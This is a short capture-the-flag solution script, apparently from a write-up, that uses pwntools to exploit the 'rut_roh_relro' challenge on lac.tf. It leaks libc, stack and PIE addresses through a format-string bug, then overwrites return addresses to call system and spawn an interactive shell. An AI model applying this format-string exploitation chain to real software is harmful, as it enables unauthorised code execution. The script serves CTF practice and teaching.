Rating:
```python
from pwn import *
context.arch = 'amd64'
# context.log_level = 'DEBUG'
# p = process('./rut_roh_relro')
p = remote('lac.tf', 31134)
e = ELF('./rut_roh_relro')
libc = ELF('./libc.so.6')
# libc,stack,pie
payload = b''
payload += b'%71$p%68$p%63$p'
pause()
p.sendlineafter('?\n', payload)
p.recvuntil('0x')
libc.address = int(p.recv(12), 16) - 0x23d0a
info('libc address ' + hex(libc.address))
p.recvuntil('0x')
stack = int(p.recv(12), 16)
info('stack ' + hex(stack))
ret = stack - 0xe8
p.recvuntil('0x')
e.address = int(p.recv(12), 16) - 0x1265
info('pie address ' + hex(e.address))
# og = [0xc961a, 0xc961d, 0xc9620]
payload = b''
payload += fmtstr_payload(6, {ret : e.symbols['main']})
# pause()
p.sendlineafter('?\n', payload)
###### (2) ######
ret = stack - 0xe0
rdi = libc.address + 0x1d1990
info(hex(ret))
payload = b''
payload += fmtstr_payload(6, {ret : libc.symbols['system']})
payload += b'\x00\x00'
# pause()
p.sendlineafter('?\n', payload)
payload = b''
payload += fmtstr_payload(6, {rdi : b'/bin/sh\x00'})
payload += b'\x00\x00'
p.sendlineafter('?\n', payload)
p.interactive()
```
